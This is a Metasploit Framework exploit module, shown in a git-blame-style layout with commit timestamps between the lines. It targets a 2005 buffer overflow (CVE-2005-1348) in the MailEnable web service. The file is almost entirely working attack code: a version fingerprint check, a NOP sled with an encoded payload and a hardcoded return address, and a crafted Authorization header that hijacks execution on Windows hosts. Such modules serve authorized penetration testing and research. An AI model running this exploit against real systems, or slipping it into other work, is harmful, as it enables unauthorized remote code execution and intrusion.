2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-07 23:33:03 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2007-01-07 23:33:03 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /MailEnable/ ] }
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-07 23:33:03 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-01-07 23:33:03 +00:00
|
|
|
'Name' => 'MailEnable Authorization Header Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a remote buffer overflow in the MailEnable web service.
|
|
|
|
The vulnerability is triggered when a large value is placed into the Authorization
|
|
|
|
header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
|
|
|
|
MailEnable Professional versions prior to 1.55 are affected.
|
2007-01-07 23:33:03 +00:00
|
|
|
},
|
2009-10-17 05:55:15 +00:00
|
|
|
'Author' => 'David Maciejak <david.maciejak[at]kyxar.fr>',
|
2007-01-07 23:33:03 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
['CVE', '2005-1348'],
|
2007-01-07 23:33:03 +00:00
|
|
|
['OSVDB', '15913'],
|
|
|
|
['OSVDB', '15737'],
|
|
|
|
['BID', '13350'],
|
2011-10-16 09:53:53 +00:00
|
|
|
['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=18123'],
|
2007-01-07 23:33:03 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x0d\x0a"
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-01-07 23:33:03 +00:00
|
|
|
[
|
|
|
|
['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2007-01-07 23:33:03 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Apr 24 2005'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2010-07-07 17:38:59 +00:00
|
|
|
info = http_fingerprint # check method
|
|
|
|
if (info =~ /MailEnable/)
|
2007-01-07 23:33:03 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
2010-06-25 20:53:12 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2007-01-07 23:33:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')
|
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
send_request_raw(
|
|
|
|
{
|
2007-01-07 23:33:03 +00:00
|
|
|
'headers' => { 'Authorization' => buffer }
|
|
|
|
}, 2)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|